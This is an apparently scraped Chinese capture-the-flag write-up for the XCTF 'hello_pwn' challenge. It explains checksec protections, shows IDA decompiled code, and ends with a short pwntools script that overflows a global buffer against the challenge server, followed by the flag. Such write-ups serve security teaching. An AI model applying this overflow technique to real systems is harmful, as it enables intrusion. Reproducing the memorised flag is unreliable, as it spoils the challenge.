zoukankan      html  css  js  c++  java
  • 攻防世界--hello_pwn

    测试文件:https://adworld.xctf.org.cn/media/task/attachments/c0a6dfb32cc7488a939d8c537530174d

    checksec转自:https://www.cnblogs.com/Ox9A82/p/5728149.html

    (1)拿到efl,首先要用checksec来检测elf运行于哪个平台,开启了什么安全措施,如果用gcc的编译后,默认会开启所有的安全措施。

    【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
    【2】Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
    【3】NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
    【4】PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址 
    【5】FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。

    1.准备

    获得信息:

    1. 64位文件
    2. 未开启canary

    2.IDA打开

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      alarm(0x3Cu);                                 // 定时器
      setbuf(stdout, 0LL);
      puts("~~ welcome to ctf ~~     ");
      puts("lets get helloworld for bof");
      read(0, &unk_601068, 0x10uLL);
      if ( dword_60106C == 0x6E756161 )
        sub_400686(0LL, &unk_601068);
      return 0LL;
    }

    接着看下unk_601068和dword_60106C变量

    3.代码分析

    我们能够利用unk_601068的读取数据,来让数据溢出到dword_60106C,给dword_60106C赋值为0x6e756161,从而得到flag

    4.exp

    from pwn import *
    
    p = remote('111.198.29.45',38520)
    payload = 'a'*4 + p32( 015635260541)
    p.sendline(payload)
    p.interactive()

    5.get flag!

    cyberpeace{089edb73996a6c43550d0d64271a9081}

  • 相关阅读:
    nginx+ftp图片服务器搭建
    第一篇随笔
    字符设备控制技术
    总结字符设备
    字符设备驱动模型
    使用字符设备驱动
    驱动开发前奏
    linux内核链表的移植与使用
    linux内存管理子系统
    内核模块可选信息
  • 原文地址:https://www.cnblogs.com/Mayfly-nymph/p/12186751.html
Copyright © 2011-2022 走看看